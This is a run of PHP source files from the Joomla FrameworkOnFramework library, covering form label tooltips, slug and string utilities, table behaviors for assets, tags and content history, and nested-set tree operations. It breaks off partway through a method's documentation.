$(document).ready(function()
{
$('.fof-tooltip').tooltip({placement: 'top'});
});
})(akeeba.jQuery);
JS;
$document = FOFPlatform::getInstance()->getDocument();
if ($document instanceof JDocument)
{
$document->addScriptDeclaration($js);
}
$loadedTooltipScript = true;
}
$tooltipText = '<strong>' . JText::_($title) .
'</strong><br />' . JText::_($tooltip);
$html .= "\t\t\t\t" . '<label
class="control-label fof-tooltip ' . $labelClass . '"
for="' . $field->id . '" title="' .
$tooltipText . '" data-toggle="fof-tooltip">';
}
else
{
// Joomla! 2.5 has a conflict with the jQueryUI tooltip, therefore we
// have to use native Joomla! 2.5 tooltips
JHtml::_('behavior.tooltip');
$tooltipText = JText::_($title) . '::' . JText::_($tooltip);
$html .= "\t\t\t\t" . '<label
class="control-label hasTip ' . $labelClass . '"
for="' . $field->id . '" title="' .
$tooltipText . '" rel="tooltip">';
}
}
else
{
$html .= "\t\t\t\t" . '<label
class="control-label ' . $labelClass . '"
for="' . $field->id . '">';
}
$html .= JText::_($title);
if ($required)
{
$html .= ' *';
}
$html .= '</label>' . PHP_EOL;
return $html;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage utils
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* Helper class with utilitarian functions concerning strings
*
* @package FrameworkOnFramework
* @since 2.0
*/
abstract class FOFStringUtils
{
/**
* Convert a string into a slug (alias), suitable for use in URLs. Please
* note that transliteration suupport is rudimentary at this stage.
*
* @param string $value A string to convert to slug
*
* @return string The slug
*/
public static function toSlug($value)
{
// Remove any '-' from the string they will be used as
concatonater
$value = str_replace('-', ' ', $value);
// Convert to ascii characters
$value = self::toASCII($value);
// Lowercase and trim
$value = trim(strtolower($value));
// Remove any duplicate whitespace, and ensure all characters are
alphanumeric
$value = preg_replace(array('/\s+/',
'/[^A-Za-z0-9\-_]/'), array('-', ''),
$value);
// Limit length
if (strlen($value) > 100)
{
$value = substr($value, 0, 100);
}
return $value;
}
/**
* Convert common norhern European languages' letters into plain
ASCII. This
* is a rudimentary transliteration.
*
* @param string $value The value to convert to ASCII
*
* @return string The converted string
*/
public static function toASCII($value)
{
$string = htmlentities(utf8_decode($value), null,
'ISO-8859-1');
$string = preg_replace(
array('/ß/', '/&(..)lig;/',
'/&([aouAOU])uml;/', '/&(.)[^;]*;/'),
array('ss', "$1", "$1" . 'e',
"$1"), $string
);
return $string;
}
/**
* Convert a string to a boolean.
*
* @param string $string The string.
*
* @return boolean The converted string
*/
public static function toBool($string)
{
$string = trim((string) $string);
if ($string == 'true')
{
return true;
}
if ($string == 'false')
{
return false;
}
return (bool) $string;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage table
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* FrameworkOnFramework table behavior class for assets
*
* @package FrameworkOnFramework
* @since 2.1
*/
class FOFTableBehaviorAssets extends FOFTableBehavior
{
/**
* The event which runs after storing (saving) data to the database
*
* @param FOFTable &$table The table which calls this event
*
* @return boolean True to allow saving
*/
public function onAfterStore(&$table)
{
$result = true;
$asset_id_field = $table->getColumnAlias('asset_id');
if (in_array($asset_id_field, $table->getKnownFields()))
{
if (!empty($table->$asset_id_field))
{
$currentAssetId = $table->$asset_id_field;
}
// The asset id field is managed privately by this class.
if ($table->isAssetsTracked())
{
unset($table->$asset_id_field);
}
}
// Create the object used for inserting/updpating data to the database
$fields = $table->getTableFields();
// Let's remove the asset_id field, since we unset the property
above and we would get a PHP notice
if (isset($fields[$asset_id_field]))
{
unset($fields[$asset_id_field]);
}
// Asset Tracking
if (in_array($asset_id_field, $table->getKnownFields()) &&
$table->isAssetsTracked())
{
$parentId = $table->getAssetParentId();
try{
$name = $table->getAssetName();
}
catch(Exception $e)
{
$table->setError($e->getMessage());
return false;
}
$title = $table->getAssetTitle();
$asset = JTable::getInstance('Asset');
$asset->loadByName($name);
// Re-inject the asset id.
$this->$asset_id_field = $asset->id;
// Check for an error.
$error = $asset->getError();
// Since we are using JTable, there is no way to mock it and
test for failures :(
// @codeCoverageIgnoreStart
if ($error)
{
$table->setError($error);
return false;
}
// @codeCoverageIgnoreEnd
// Specify how a new or moved node asset is inserted into the tree.
// Since we're unsetting the table field before, this
statement is always true...
if (empty($table->$asset_id_field) || $asset->parent_id !=
$parentId)
{
$asset->setLocation($parentId, 'last-child');
}
// Prepare the asset to be stored.
$asset->parent_id = $parentId;
$asset->name = $name;
$asset->title = $title;
if ($table->getRules() instanceof JAccessRules)
{
$asset->rules = (string) $table->getRules();
}
// Since we are using JTable, there is no way to mock it and
test for failures :(
// @codeCoverageIgnoreStart
if (!$asset->check() || !$asset->store())
{
$table->setError($asset->getError());
return false;
}
// @codeCoverageIgnoreEnd
// Create an asset_id or heal one that is corrupted.
if (empty($table->$asset_id_field) || (($currentAssetId !=
$table->$asset_id_field) && !empty($table->$asset_id_field)))
{
// Update the asset_id field in this table.
$table->$asset_id_field = (int) $asset->id;
$k = $table->getKeyName();
$db = $table->getDbo();
$query = $db->getQuery(true)
->update($db->qn($table->getTableName()))
->set($db->qn($asset_id_field).' = ' .
(int) $table->$asset_id_field)
->where($db->qn($k) . ' = ' . (int)
$table->$k);
$db->setQuery($query)->execute();
}
$result = true;
}
return $result;
}
/**
* The event which runs after binding data to the table
*
* @param FOFTable &$table The table which calls this event
* @param object|array &$src The data to bind
*
* @return boolean True on success
*/
public function onAfterBind(&$table, &$src)
{
// Set rules for assets enabled tables
if ($table->isAssetsTracked())
{
// Bind the rules.
if (isset($src['rules']) &&
is_array($src['rules']))
{
// We have to manually remove any empty value, since they
will be converted to int,
// and "Inherited" values will become
"Denied". Joomla is doing this manually, too.
// @todo Should we move this logic inside the setRules
method?
$rules = array();
foreach ($src['rules'] as $action => $ids)
{
// Build the rules array.
$rules[$action] = array();
foreach ($ids as $id => $p)
{
if ($p !== '')
{
$rules[$action][$id] = ($p == '1' ||
$p == 'true') ? true : false;
}
}
}
$table->setRules($rules);
}
}
return true;
}
/**
* The event which runs before deleting a record
*
* @param FOFTable &$table The table which calls this event
* @param integer $oid The PK value of the record to delete
*
* @return boolean True to allow the deletion
*/
public function onBeforeDelete(&$table, $oid)
{
// If tracking assets, remove the asset first.
if ($table->isAssetsTracked())
{
$k = $table->getKeyName();
// If the table is not loaded, let's try to load it with
the id
if(!$table->$k)
{
$table->load($oid);
}
// If I have an invalid assetName I have to stop
try
{
$name = $table->getAssetName();
}
catch(Exception $e)
{
$table->setError($e->getMessage());
return false;
}
// Do NOT touch JTable here -- we are loading the core asset table which
is a JTable, not a FOFTable
$asset = JTable::getInstance('Asset');
if ($asset->loadByName($name))
{
// Since we are using JTable, there is no way to mock it
and test for failures :(
// @codeCoverageIgnoreStart
if (!$asset->delete())
{
$table->setError($asset->getError());
return false;
}
// @codeCoverageIgnoreEnd
}
else
{
// I'll simply return true even if I couldn't
load the asset. In this way I can still
// delete a broken record
return true;
}
}
return true;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage table
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* FrameworkOnFramework table behavior class for content History
*
* @package FrameworkOnFramework
* @since 2.2.0
*/
class FOFTableBehaviorContenthistory extends FOFTableBehavior
{
/**
* The event which runs after storing (saving) data to the database
*
* @param FOFTable &$table The table which calls this event
*
* @return boolean True to allow saving without an error
*/
public function onAfterStore(&$table)
{
$aliasParts = explode('.', $table->getContentType());
$table->checkContentType();
if
(JComponentHelper::getParams($aliasParts[0])->get('save_history',
0))
{
$historyHelper = new JHelperContenthistory($table->getContentType());
$historyHelper->store($table);
}
return true;
}
/**
* The event which runs before deleting a record
*
* @param FOFTable &$table The table which calls this event
* @param integer $oid The PK value of the record to delete
*
* @return boolean True to allow the deletion
*/
public function onBeforeDelete(&$table, $oid)
{
$aliasParts = explode('.', $table->getContentType());
if
(JComponentHelper::getParams($aliasParts[0])->get('save_history',
0))
{
$historyHelper = new JHelperContenthistory($table->getContentType());
$historyHelper->deleteHistory($table);
}
return true;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage table
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
* @note This file has been modified by the Joomla! Project and no
longer reflects the original work of its author.
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* FrameworkOnFramework table behavior class for tags
*
* @package FrameworkOnFramework
* @since 2.1
*/
class FOFTableBehaviorTags extends FOFTableBehavior
{
/**
* The event which runs after binding data to the table
*
* @param FOFTable &$table The table which calls this event
* @param object|array &$src The data to bind
* @param array $options The options of the table
*
* @return boolean True on success
*/
public function onAfterBind(&$table, &$src, $options = array())
{
// Bind tags
if ($table->hasTags())
{
if ((!empty($src['tags']) && $src['tags'][0]
!= ''))
{
$table->newTags = $src['tags'];
}
// Check if the content type exists, and create it if it does not
$table->checkContentType();
$tagsTable = clone($table);
$tagsHelper = new JHelperTags();
$tagsHelper->typeAlias = $table->getContentType();
// TODO: This little guy here fails because JHelperTags
// need a JTable object to work, while our is FOFTable
// Need probably to write our own FOFHelperTags
// Thank you com_tags
if (!$tagsHelper->postStoreProcess($tagsTable))
{
$table->setError('Error storing tags');
return false;
}
}
return true;
}
/**
* The event which runs before storing (saving) data to the database
*
* @param FOFTable &$table The table which calls this event
* @param boolean $updateNulls Should nulls be saved as nulls (true)
or just skipped over (false)?
*
* @return boolean True to allow saving
*/
public function onBeforeStore(&$table, $updateNulls)
{
if ($table->hasTags())
{
$tagsHelper = new JHelperTags();
$tagsHelper->typeAlias = $table->getContentType();
// TODO: JHelperTags sucks in Joomla! 3.1, it requires that tags are
// stored in the metadata property. Not our case, therefore we need
// to add it in a fake object. We sent a PR to Joomla! CMS to fix
// that. Once it's accepted, we'll have to remove the atrocity
// here...
$tagsTable = clone($table);
$tagsHelper->preStoreProcess($tagsTable);
}
}
/**
* The event which runs after deleting a record
*
* @param FOFTable &$table The table which calls this event
* @param integer $oid The PK value of the record which was deleted
*
* @return boolean True to allow the deletion without errors
*/
public function onAfterDelete(&$table, $oid)
{
// If this resource has tags, delete the tags first
if ($table->hasTags())
{
$tagsHelper = new JHelperTags();
$tagsHelper->typeAlias = $table->getContentType();
if (!$tagsHelper->deleteTagData($table, $oid))
{
$table->setError('Error deleting Tags');
return false;
}
}
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage table
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* FrameworkOnFramework table behavior class. It defines the events which
are
* called by a Table.
*
* @codeCoverageIgnore
* @package FrameworkOnFramework
* @since 2.1
*/
abstract class FOFTableBehavior extends FOFUtilsObservableEvent
{
/**
* This event runs before binding data to the table
*
* @param FOFTable &$table The table which calls this event
* @param array &$data The data to bind
*
* @return boolean True on success
*/
public function onBeforeBind(&$table, &$data)
{
return true;
}
/**
* The event which runs after binding data to the table
*
* @param FOFTable &$table The table which calls this event
* @param object|array &$src The data to bind
*
* @return boolean True on success
*/
public function onAfterBind(&$table, &$src)
{
return true;
}
/**
* The event which runs after loading a record from the database
*
* @param FOFTable &$table The table which calls this event
* @param boolean &$result Did the load succeeded?
*
* @return void
*/
public function onAfterLoad(&$table, &$result)
{
}
/**
* The event which runs before storing (saving) data to the database
*
* @param FOFTable &$table The table which calls this event
* @param boolean $updateNulls Should nulls be saved as nulls (true)
or just skipped over (false)?
*
* @return boolean True to allow saving
*/
public function onBeforeStore(&$table, $updateNulls)
{
return true;
}
/**
* The event which runs after storing (saving) data to the database
*
* @param FOFTable &$table The table which calls this event
*
* @return boolean True to allow saving without an error
*/
public function onAfterStore(&$table)
{
return true;
}
/**
* The event which runs before moving a record
*
* @param FOFTable &$table The table which calls this event
* @param boolean $updateNulls Should nulls be saved as nulls (true)
or just skipped over (false)?
*
* @return boolean True to allow moving
*/
public function onBeforeMove(&$table, $updateNulls)
{
return true;
}
/**
* The event which runs after moving a record
*
* @param FOFTable &$table The table which calls this event
*
* @return boolean True to allow moving without an error
*/
public function onAfterMove(&$table)
{
return true;
}
/**
* The event which runs before reordering a table
*
* @param FOFTable &$table The table which calls this event
* @param string $where The WHERE clause of the SQL query to run on
reordering (record filter)
*
* @return boolean True to allow reordering
*/
public function onBeforeReorder(&$table, $where = '')
{
return true;
}
/**
* The event which runs after reordering a table
*
* @param FOFTable &$table The table which calls this event
*
* @return boolean True to allow the reordering to complete without an
error
*/
public function onAfterReorder(&$table)
{
return true;
}
/**
* The event which runs before deleting a record
*
* @param FOFTable &$table The table which calls this event
* @param integer $oid The PK value of the record to delete
*
* @return boolean True to allow the deletion
*/
public function onBeforeDelete(&$table, $oid)
{
return true;
}
/**
* The event which runs after deleting a record
*
* @param FOFTable &$table The table which calls this event
* @param integer $oid The PK value of the record which was deleted
*
* @return boolean True to allow the deletion without errors
*/
public function onAfterDelete(&$table, $oid)
{
return true;
}
/**
* The event which runs before hitting a record
*
* @param FOFTable &$table The table which calls this event
* @param integer $oid The PK value of the record to hit
* @param boolean $log Should we log the hit?
*
* @return boolean True to allow the hit
*/
public function onBeforeHit(&$table, $oid, $log)
{
return true;
}
/**
* The event which runs after hitting a record
*
* @param FOFTable &$table The table which calls this event
* @param integer $oid The PK value of the record which was hit
*
* @return boolean True to allow the hitting without errors
*/
public function onAfterHit(&$table, $oid)
{
return true;
}
/**
* The even which runs before copying a record
*
* @param FOFTable &$table The table which calls this event
* @param integer $oid The PK value of the record being copied
*
* @return boolean True to allow the copy to take place
*/
public function onBeforeCopy(&$table, $oid)
{
return true;
}
/**
* The even which runs after copying a record
*
* @param FOFTable &$table The table which calls this event
* @param integer $oid The PK value of the record which was copied
(not the new one)
*
* @return boolean True to allow the copy without errors
*/
public function onAfterCopy(&$table, $oid)
{
return true;
}
/**
* The event which runs before a record is (un)published
*
* @param FOFTable &$table The table which calls this event
* @param integer|array &$cid The PK IDs of the records being
(un)published
* @param integer $publish 1 to publish, 0 to unpublish
*
* @return boolean True to allow the (un)publish to proceed
*/
public function onBeforePublish(&$table, &$cid, $publish)
{
return true;
}
/**
* The event which runs after the object is reset to its default values.
*
* @param FOFTable &$table The table which calls this event
*
* @return boolean True to allow the reset to complete without errors
*/
public function onAfterReset(&$table)
{
return true;
}
/**
* The even which runs before the object is reset to its default values.
*
* @param FOFTable &$table The table which calls this event
*
* @return boolean True to allow the reset to complete
*/
public function onBeforeReset(&$table)
{
return true;
}
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage table
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* FrameworkOnFramework table behavior dispatcher class
*
* @codeCoverageIgnore
* @package FrameworkOnFramework
* @since 2.1
*/
class FOFTableDispatcherBehavior extends FOFUtilsObservableDispatcher
{
}
<?php
/**
* @package FrameworkOnFramework
* @subpackage table
* @copyright Copyright (C) 2010-2016 Nicholas K. Dionysopoulos / Akeeba
Ltd. All rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
// Protect from unauthorized access
defined('FOF_INCLUDED') or die;
/**
* A class to manage tables holding nested sets (hierarchical data)
*
* @property int $lft Left value (for nested set implementation)
* @property int $rgt Right value (for nested set implementation)
* @property string $hash Slug hash (optional; for faster searching)
* @property string $slug Node's slug (optional)
* @property string $title Title of the node (optional)
*/
class FOFTableNested extends FOFTable
{
/** @var int The level (depth) of this node in the tree */
protected $treeDepth = null;
/** @var FOFTableNested The root node in the tree */
protected $treeRoot = null;
/** @var FOFTableNested The parent node of ourselves */
protected $treeParent = null;
/** @var bool Should I perform a nested get (used to query
ascendants/descendants) */
protected $treeNestedGet = false;
/** @var array A collection of custom, additional where clauses to
apply during buildQuery */
protected $whereClauses = array();
/**
* Public constructor. Overrides the parent constructor, making sure there
are lft/rgt columns which make it
* compatible with nested sets.
*
* @param string $table Name of the database table to model.
* @param string $key Name of the primary key field in the
table.
* @param FOFDatabaseDriver &$db Database driver
* @param array $config The configuration parameters array
*
* @throws \RuntimeException When lft/rgt columns are not found
*/
public function __construct($table, $key, &$db, $config = array())
{
parent::__construct($table, $key, $db, $config);
if (!$this->hasField('lft') ||
!$this->hasField('rgt'))
{
throw new \RuntimeException("Table " .
$this->getTableName() . " is not compatible with FOFTableNested: it
does not have lft/rgt columns");
}
}
/**
* Overrides the automated table checks to handle the 'hash'
column for faster searching
*
* @return boolean
*/
public function check()
{
// Create a slug if there is a title and an empty slug
if ($this->hasField('title') &&
$this->hasField('slug') && empty($this->slug))
{
$this->slug = FOFStringUtils::toSlug($this->title);
}
// Create the SHA-1 hash of the slug for faster searching (make sure the
hash column is CHAR(64) to take
// advantage of MySQL's optimised searching for fixed size CHAR
columns)
if ($this->hasField('hash') &&
$this->hasField('slug'))
{
$this->hash = sha1($this->slug);
}
// Reset cached values
$this->resetTreeCache();
return parent::check();
}
/**
* Delete a node, either the currently loaded one or the one specified in
$id. If an $id is specified that node
* is loaded before trying to delete it. In the end the data model is
reset. If the node has any children nodes
* they will be removed before the node itself is deleted.
*
* @param integer $oid The primary key value of the item to delete
*
* @throws UnexpectedValueException
*
* @return boolean True on success
*/
public function delete($oid = null)
{
// Load the specified record (if necessary)
if (!empty($oid))
{
$this->load($oid);
}
$k = $this->_tbl_key;
$pk = (!$oid) ? $this->$k : $oid;
// If no primary key is given, return false.
if (!$pk)
{
throw new UnexpectedValueException('Null primary key not
allowed.');
}
// Execute the logic only if I have a primary key, otherwise I
could have weird results
// Perform the checks on the current node *BEFORE* starting to
delete the children
if (!$this->onBeforeDelete($oid))
{
return false;
}
$result = true;
// Recursively delete all children nodes as long as we are not a leaf
node and $recursive is enabled
if (!$this->isLeaf())
{
// Get all sub-nodes
$table = $this->getClone();
$table->bind($this->getData());
$subNodes = $table->getDescendants();
// Delete all subnodes (goes through the model to trigger the observers)
if (!empty($subNodes))
{
/** @var FOFTableNested $item */
foreach ($subNodes as $item)
{
// We have to pass the id, so we are getting it again
from the database.
// We have to do in this way, since a previous child
could have changed our lft and rgt values
if(!$item->delete($item->$k))
{
// A subnode failed or prevents the delete,
continue deleting other nodes,
// but preserve the current node (ie the parent)
$result = false;
}
};
// Load it again, since while deleting a children we could
have updated ourselves, too
$this->load($pk);
}
}
if($result)
{
// Delete the row by primary key.
$query = $this->_db->getQuery(true);
$query->delete();
$query->from($this->_tbl);
$query->where($this->_tbl_key . ' = ' .
$this->_db->q($pk));
$this->_db->setQuery($query)->execute();
$result = $this->onAfterDelete($oid);
}
return $result;
}
protected function onAfterDelete($oid)
{
$db = $this->getDbo();
$myLeft = $this->lft;
$myRight = $this->rgt;
$fldLft = $db->qn($this->getColumnAlias('lft'));
$fldRgt = $db->qn($this->getColumnAlias('rgt'));
// Move all siblings to the left
$width = $this->rgt - $this->lft + 1;
// Wrap everything in a transaction
$db->transactionStart();
try
{
// Shrink lft values
$query = $db->getQuery(true)
->update($db->qn($this->getTableName()))
->set($fldLft . ' = ' . $fldLft .
' - '.$width)
->where($fldLft . ' > ' .
$db->q($myLeft));
$db->setQuery($query)->execute();
// Shrink rgt values
$query = $db->getQuery(true)
->update($db->qn($this->getTableName()))
->set($fldRgt . ' = ' . $fldRgt .
' - '.$width)
->where($fldRgt . ' > ' .
$db->q($myRight));
$db->setQuery($query)->execute();
// Commit the transaction
$db->transactionCommit();
}
catch (\Exception $e)
{
// Roll back the transaction on error
$db->transactionRollback();
throw $e;
}
return parent::onAfterDelete($oid);
}
/**
* Not supported in nested sets
*
* @param string $where Ignored
*
* @return void
*
* @throws RuntimeException
*/
public function reorder($where = '')
{
throw new RuntimeException('reorder() is not supported by
FOFTableNested');
}
/**
* Not supported in nested sets
*
* @param integer $delta Ignored
* @param string $where Ignored
*
* @return void
*
* @throws RuntimeException
*/
public function move($delta, $where = '')
{
throw new RuntimeException('move() is not supported by
FOFTableNested');
}
/**
* Create a new record with the provided data. It is inserted as the last
child of the current node's parent
*
* @param array $data The data to use in the new record
*
* @return static The new node
*/
public function create($data)
{
$newNode = $this->getClone();
$newNode->reset();
$newNode->bind($data);
if ($this->isRoot())
{
return $newNode->insertAsChildOf($this);
}
else
{
return $newNode->insertAsChildOf($this->getParent());
}
}
/**
* Makes a copy of the record, inserting it as the last child of the given
node's parent.
*
* @param integer|array $cid The primary key value (or values) or the
record(s) to copy.
* If null, the current record will be
copied
*
* @return self|FOFTableNested The last copied node
*/
public function copy($cid = null)
{
//We have to cast the id as array, or the helper function will return an
empty set
if($cid)
{
$cid = (array) $cid;
}
FOFUtilsArray::toInteger($cid);
$k = $this->_tbl_key;
if (count($cid) < 1)
{
if ($this->$k)
{
$cid = array($this->$k);
}
else
{
// Even if it's null, let's still create the record
$this->create($this->getData());
return $this;
}
}
foreach ($cid as $item)
{
// Prevent load with id = 0
if (!$item)
{
continue;
}
$this->load($item);
$this->create($this->getData());
}
return $this;
}
/**
* Method to reset class properties to the defaults set in the class
* definition. It will ignore the primary key as well as any private class
* properties.
*
* @return void
*/
public function reset()
{
$this->resetTreeCache();
parent::reset();
}
/**
* Insert the current node as a tree root. It is a good idea to never use
this method, instead providing a root node
* in your schema installation and then sticking to only one root.
*
* @return self
*/
public function insertAsRoot()
{
// You can't insert a node that is already saved i.e. the
table has an id
if($this->getId())
{
throw new RuntimeException(__METHOD__.' can be only used
with new nodes');
}
// First we need to find the right value of the last parent, a.k.a. the
max(rgt) of the table
$db = $this->getDbo();
// Get the lft/rgt names
$fldRgt = $db->qn($this->getColumnAlias('rgt'));
$query = $db->getQuery(true)
->select('MAX(' . $fldRgt . ')')
->from($db->qn($this->getTableName()));
$maxRgt = $db->setQuery($query, 0, 1)->loadResult();
if (empty($maxRgt))
{
$maxRgt = 0;
}
$this->lft = ++$maxRgt;
$this->rgt = ++$maxRgt;
$this->store();
return $this;
}
/**
* Insert the current node as the first (leftmost) child of a parent node.
*
* WARNING: If it's an existing node it will be COPIED, not moved.
*
* @param FOFTableNested $parentNode The node which will become our parent
*
* @return $this for chaining
*
* @throws Exception
* @throws RuntimeException
*/
public function insertAsFirstChildOf(FOFTableNested &$parentNode)
{
if($parentNode->lft >= $parentNode->rgt)
{
throw new RuntimeException('Invalid position values for
the parent node');
}
// Get a reference to the database
$db = $this->getDbo();
// Get the field names
$fldRgt = $db->qn($this->getColumnAlias('rgt'));
$fldLft = $db->qn($this->getColumnAlias('lft'));
// Nullify the PK, so a new record will be created
$pk = $this->getKeyName();
$this->$pk = null;
// Get the value of the parent node's rgt
$myLeft = $parentNode->lft;
// Update my lft/rgt values
$this->lft = $myLeft + 1;
$this->rgt = $myLeft + 2;
// Update parent node's right (we added two elements in there,
remember?)
$parentNode->rgt += 2;
// Wrap everything in a transaction
$db->transactionStart();
try
{
// Make a hole (2 queries)
$query = $db->getQuery(true)
->update($db->qn($this->getTableName()))
->set($fldLft . ' = ' . $fldLft . '+2')
->where($fldLft . ' > ' . $db->q($myLeft));
$db->setQuery($query)->execute();
$query = $db->getQuery(true)
->update($db->qn($this->getTableName()))
->set($fldRgt . ' = ' . $fldRgt . '+ 2')
->where($fldRgt . '>' . $db->q($myLeft));
$db->setQuery($query)->execute();
// Insert the new node
$this->store();
// Commit the transaction
$db->transactionCommit();
}
catch (\Exception $e)
{
// Roll back the transaction on error
$db->transactionRollback();
throw $e;
}
return $this;
}
/**
* Insert the current node as the last (rightmost) child of a parent node.
*
* WARNING: If it's an existing node it will be COPIED, not moved.
*
* @param FOFTableNested $parentNode The node which will become our parent
*
* @return $this for chaining
*
* @throws Exception
* @throws RuntimeException
*/
public function insertAsLastChildOf(FOFTableNested &$parentNode)
{
if($parentNode->lft >= $parentNode->rgt)
{
throw new RuntimeException('Invalid position values for
the parent node');
}
// Get a reference to the database
$db = $this->getDbo();
// Get the field names
$fldRgt = $db->qn($this->getColumnAlias('rgt'));
$fldLft = $db->qn($this->getColumnAlias('lft'));
// Nullify the PK, so a new record will be created
$pk = $this->getKeyName();
$this->$pk = null;
// Get the value of the parent node's lft
$myRight = $parentNode->rgt;
// Update my lft/rgt values
$this->lft = $myRight;
$this->rgt = $myRight + 1;
// Update parent node's right (we added two elements in there,
remember?)
$parentNode->rgt += 2;
// Wrap everything in a transaction
$db->transactionStart();
try
{
// Make a hole (2 queries)
$query = $db->getQuery(true)
->update($db->qn($this->getTableName()))
->set($fldRgt . ' = ' . $fldRgt . '+2')
->where($fldRgt . '>=' . $db->q($myRight));
$db->setQuery($query)->execute();
$query = $db->getQuery(true)
->update($db->qn($this->getTableName()))
->set($fldLft . ' = ' . $fldLft . '+2')
->where($fldLft . '>' . $db->q($myRight));
$db->setQuery($query)->execute();
// Insert the new node
$this->store();
// Commit the transaction
$db->transactionCommit();
}
catch (\Exception $e)
{
// Roll back the transaction on error
$db->transactionRollback();
throw $e;
}
return $this;
}
/**
* Alias for insertAsLastchildOf
*
* @codeCoverageIgnore
* @param FOFTableNested $parentNode
*
* @return $this for chaining
*
* @throws Exception
*/
public function insertAsChildOf(FOFTableNested &$parentNode)
{
return $this->insertAsLastChildOf($parentNode);
}
/**
* Insert the current node to the left of (before) a sibling node
*
* WARNING: If it's an existing node it will be COPIED, not moved.
*
* @param FOFTableNested $siblingNode We will be inserted before this node
*
* @return $this for chaining
*
* @throws Exception
* @throws RuntimeException
*/
public function insertLeftOf(FOFTableNested &$siblingNode)
{
if($siblingNode->lft >= $siblingNode->rgt)
{
throw new RuntimeException('Invalid position values for
the sibling node');
}
// Get a reference to the database
$db = $this->getDbo();
// Get the field names
$fldRgt = $db->qn($this->getColumnAlias('rgt'));
$fldLft = $db->qn($this->getColumnAlias('lft'));
// Nullify the PK, so a new record will be created
$pk = $this->getKeyName();
$this->$pk = null;
// Get the value of the parent node's rgt
$myLeft = $siblingNode->lft;
// Update my lft/rgt values
$this->lft = $myLeft;
$this->rgt = $myLeft + 1;
// Update sibling's lft/rgt values
$siblingNode->lft += 2;
$siblingNode->rgt += 2;
$db->transactionStart();
try
{
$db->setQuery(
$db->getQuery(true)
->update($db->qn($this->getTableName()))
->set($fldLft . ' = ' . $fldLft . '+2')
->where($fldLft . ' >= ' . $db->q($myLeft))
)->execute();
$db->setQuery(
$db->getQuery(true)
->update($db->qn($this->getTableName()))
->set($fldRgt . ' = ' . $fldRgt . '+2')
->where($fldRgt . ' > ' . $db->q($myLeft))
)->execute();
$this->store();
// Commit the transaction
$db->transactionCommit();
}
catch (\Exception $e)
{
$db->transactionRollback();
throw $e;
}
return $this;
}
/**
* Insert the current node to the right of (after) a sibling node
*
* WARNING: If it's an existing node it will be COPIED, not moved.
*
* @param FOFTableNested $siblingNode We will be inserted after this node
*
* @return $this for chaining
* @throws Exception
* @throws RuntimeException
*/
public function insertRightOf(FOFTableNested &$siblingNode)
{
if($siblingNode->lft >= $siblingNode->rgt)
{
throw new RuntimeException('Invalid position values for
the sibling node');
}
// Get a reference to the database
$db = $this->getDbo();
// Get the field names
$fldRgt = $db->qn($this->getColumnAlias('rgt'));
$fldLft = $db->qn($this->getColumnAlias('lft'));
// Nullify the PK, so a new record will be created
$pk = $this->getKeyName();
$this->$pk = null;
// Get the value of the parent node's lft
$myRight = $siblingNode->rgt;
// Update my lft/rgt values
$this->lft = $myRight + 1;
$this->rgt = $myRight + 2;
$db->transactionStart();
try
{
$db->setQuery(
$db->getQuery(true)
->update($db->qn($this->getTableName()))
->set($fldRgt . ' = ' . $fldRgt . '+2')
->where($fldRgt . ' > ' . $db->q($myRight))
)->execute();
$db->setQuery(
$db->getQuery(true)
->update($db->qn($this->getTableName()))
->set($fldLft . ' = ' . $fldLft . '+2')
->where($fldLft . ' > ' . $db->q($myRight))
)->execute();
$this->store();
// Commit the transaction
$db->transactionCommit();
}
catch (\Exception $e)
{
$db->transactionRollback();
throw $e;
}
return $this;
}
/**
* Alias for insertRightOf
*
* @codeCoverageIgnore
* @param FOFTableNested $siblingNode
*
* @return $this for chaining
*/
public function insertAsSiblingOf(FOFTableNested &$siblingNode)
{
return $this->insertRightOf($siblingNode);
}
/**
* Move the current node (and its subtree) one position to the left in the
tree, i.e. before its left-hand sibling
*
* @throws RuntimeException
*
* @return $this
*/
public function moveLeft()
{
// Sanity checks on current node position
if($this->lft >= $this->rgt)
{
throw new RuntimeException('Invalid position values for
the current node');
}
// If it is a root node we will not move the node (roots don't
participate in tree ordering)
if ($this->isRoot())
{
return $this;
}
// Are we already the leftmost node?
$parentNode = $this->getParent();
if ($parentNode->lft == ($this->lft - 1))
{
return $this;
}
// Get the sibling to the left
$db = $this->getDbo();
$table = $this->getClone();
$table->reset();
$leftSibling =
$table->whereRaw($db->qn($this->getColumnAlias('rgt')) .
' = ' . $db->q($this->lft - 1))
->get(0, 1)->current();
// Move the node
if (is_object($leftSibling) && ($leftSibling instanceof
FOFTableNested))
{
return $this->moveToLeftOf($leftSibling);
}
return false;
}
/**
* Move the current node (and its subtree) one position to the right in
the tree, i.e. after its right-hand sibling
*
* @throws RuntimeException
*
